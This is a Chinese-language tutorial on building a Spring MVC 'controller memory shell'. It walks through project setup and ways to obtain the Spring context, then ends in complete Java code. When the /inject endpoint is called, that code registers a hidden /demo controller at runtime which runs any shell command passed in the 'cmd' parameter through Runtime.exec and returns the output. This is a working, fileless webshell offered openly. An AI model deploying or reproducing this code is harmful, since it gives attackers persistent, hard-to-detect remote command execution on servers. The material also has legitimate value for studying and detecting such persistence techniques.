Controller内存马详解
搭建一个sprint项目
配置pom.xml
- <?xml version="1.0" encoding="UTF-8"?>
- <project xmlns="http://maven.apache.org/POM/4.0.0"
- xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
- xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
- <modelVersion>4.0.0</modelVersion>
-
- <groupId>org.example</groupId>
- <artifactId>springmvc</artifactId>
- <packaging>pom</packaging>
- <version>1.0-SNAPSHOT</version>
-
- <dependencies>
- <dependency>
- <groupId>junit</groupId>
- <artifactId>junit</artifactId>
- <version>4.12</version>
- </dependency> <dependency>
- <groupId>org.springframework</groupId>
- <artifactId>spring-webmvc</artifactId>
- <version>5.1.9.RELEASE</version>
- </dependency>
- <dependency>
- <groupId>javax.servlet</groupId>
- <artifactId>servlet-api</artifactId>
- <version>2.5</version>
- </dependency> <dependency>
- <groupId>javax.servlet.jsp</groupId>
- <artifactId>jsp-api</artifactId>
- <version>2.2</version>
- </dependency>
- <dependency>
- <groupId>javax.servlet</groupId>
- <artifactId>jstl</artifactId>
- <version>1.2</version>
- </dependency> </dependencies>
- </project>
Demo
- package com.naihe.controller;
-
-
- import org.springframework.stereotype.Controller;
- import org.springframework.ui.Model;
- import org.springframework.web.bind.annotation.PathVariable;
- import org.springframework.web.bind.annotation.RequestMapping;
- import org.springframework.web.bind.annotation.RequestParam;
-
-
- @Controller
- public class Cl1 {
- @RequestMapping("/cl1")
- public String hello(String name, Model model){
- model.addAttribute("msg",name);
- return "hello";
- }
-
- }
配置web.xml
- <?xml version="1.0" encoding="UTF-8"?>
- <web-app
- xmlns="http://xmlns.jcp.org/xml/ns/javaee"
- xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
- xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee
- http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
- version="4.0">
- <!--1.注册servlet-->
- <servlet>
- <servlet-name>SpringMVC</servlet-name>
- <servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
- <!--通过初始化参数指定SpringMVC配置文件的位置,进行关联-->
- <init-param> <param-name>contextConfigLocation</param-name>
- <param-value>classpath:springmvc-servlet.xml</param-value>
- </init-param>
- <!-- 启动顺序,数字越小,启动越早 -->
- <load-on-startup>1</load-on-startup>
- </servlet>
- <!--所有请求都会被springmvc拦截 -->
- <servlet-mapping>
- <servlet-name>SpringMVC</servlet-name>
- <url-pattern>/</url-pattern>
- </servlet-mapping>
- </web-app>
配置springmvc-servlet.xml
- <?xml version="1.0" encoding="UTF-8"?>
- <beans
- xmlns="http://www.springframework.org/schema/beans"
- xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
- xmlns:context="http://www.springframework.org/schema/context"
- xmlns:mvc="http://www.springframework.org/schema/mvc"
- xsi:schemaLocation="http://www.springframework.org/schema/beans
- http://www.springframework.org/schema/beans/spring-beans.xsd
- http://www.springframework.org/schema/context
- https://www.springframework.org/schema/context/spring-context.xsd
- http://www.springframework.org/schema/mvc
- https://www.springframework.org/schema/mvc/spring-mvc.xsd">
- <!-- 自动扫描包,让指定包下的注解生效,由IOC容器统一管理 -->
- <context:component-scan base-package="com.naihe.controller"/>
- <!-- 让Spring MVC不处理静态资源 -->
- <mvc:default-servlet-handler />
- <!-- 支持mvc注解驱动 在spring中一般采用@RequestMapping注解来完成映射关系
- 要想使@RequestMapping注解生效
- 必须向上下文中注册DefaultAnnotationHandlerMapping
- 和一个AnnotationMethodHandlerAdapter实例
- 这两个实例分别在类级别和方法级别处理。
- 而annotation-driven配置帮助我们自动完成上述两个实例的注入。 -->
- <mvc:annotation-driven />
- <!-- 视图解析器 -->
- <bean id="/ModelAndViewTest" class="com.naihe.controller.ModelAndViewTest"></bean>
- <bean id="/t1" class="com.naihe.controller.HelloController2"></bean>
- <bean id="/mav" class="com.naihe.controller.Mav"/>
- <bean class="org.springframework.web.servlet.view.InternalResourceViewResolver " id="internalResourceViewResolver">
- <!-- 前缀 --> <property name="prefix" value="/WEB-INF/jsp/"/>
- <!-- 后缀 -->
- <property name="suffix" value=".jsp" />
- </bean>
-
-
- </beans>
配置的位置
流程分析
获取context
- 第一种:getCurrentWebApplicationContext()
- // getCurrentWebApplicationContext方法获得的是一个XmlWebApplicationContext实例类型的Root WebApplicationContext。WebApplicationContext context = ContextLoader.getCurrentWebApplicationContext();
-
- 第二种:WebApplicationContextUtils
- // 通过这种方法获得的也是一个 Root WebApplicationContext 。此方法看起来比较麻烦WebApplicationContext context = WebApplicationContextUtils.getWebApplicationContext(RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest()).getServletContext());
-
- 第三种:RequestContextUtils
- // 通过 ServletRequest 类的实例来获得 Child WebApplicationContextWebApplicationContext context = RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest());
-
- 第四种:getAttribute
- // 这种方式与前几种的思路就不太一样了,因为所有的Context在创建后,都会被作为一个属性添加到了ServletContext中。所以通过直接获得ServletContext通过属性Context拿到 Child WebApplicationContext
获取RequestMappingHandlerMapping
- RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
- 虽然获取的是RequestMappingHandlerMapping类
- 但是RequestMappingHandlerMapping继承自AbstractHandlerMethodMapping
- 同样拥有register
注册Controller
这里主要是通过register进行注册Controller
可以看到register方法的三个参数的类型
这里主要是映射关系,需要配置url和方法的方式
下面看一下RequestMappingInfo类
构造方法
handler是一个Object类,及自定义的Controller类的实例对象
自定义的Controller类方法的method类
内存马
- package com.naihe.controller;
-
- import org.springframework.stereotype.Controller;
- import org.springframework.web.bind.annotation.RequestMapping;
- import org.springframework.web.bind.annotation.RequestMethod;
- import org.springframework.web.bind.annotation.ResponseBody;
- import org.springframework.web.context.WebApplicationContext;
- import org.springframework.web.context.request.RequestContextHolder;
- import org.springframework.web.context.request.ServletRequestAttributes;
- import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
- import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
- import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
- import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
-
- import javax.servlet.http.HttpServletRequest;
- import java.io.BufferedReader;
- import java.io.InputStream;
- import java.io.InputStreamReader;
- import java.lang.reflect.Method;
-
- @Controller
- public class Demo {
- @ResponseBody
- @RequestMapping(value = "/inject", method = RequestMethod.GET)
- public void inject() throws NoSuchMethodException {
- // 1. 利用spring内部方法获取context
- WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
- // 2. 从context中获得 RequestMappingHandlerMapping 的实例
- RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
-
- // 3. 通过反射获得自定义 controller 中的 Method 对象
- Method method = InjectToController.class.getMethod("test");
-
- // 4. 定义访问 controller 的 URL 地址
- PatternsRequestCondition url = new PatternsRequestCondition("/demo");
-
- // 5. 定义允许访问 controller 的 HTTP 方法(GET/POST)
- RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
-
- // 6. 在内存中动态注册 controller
- RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
-
- InjectToController injectToController = new InjectToController();
- mappingHandlerMapping.registerMapping(info, injectToController, method);
- }
- @ResponseBody
- public class InjectToController {
- public InjectToController(){
- }
- public String test() throws Exception {
- // 获取request
- HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
-
- InputStream is = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
- InputStreamReader isr = new InputStreamReader(is, "UTF-8");
- BufferedReader br = new BufferedReader(isr);
- String str = "";
- String line = "";
-
- while ((line = br.readLine())!=null){
- str+=line;
- }
- is.close();
- br.close();
- return str;
- }
- }
- }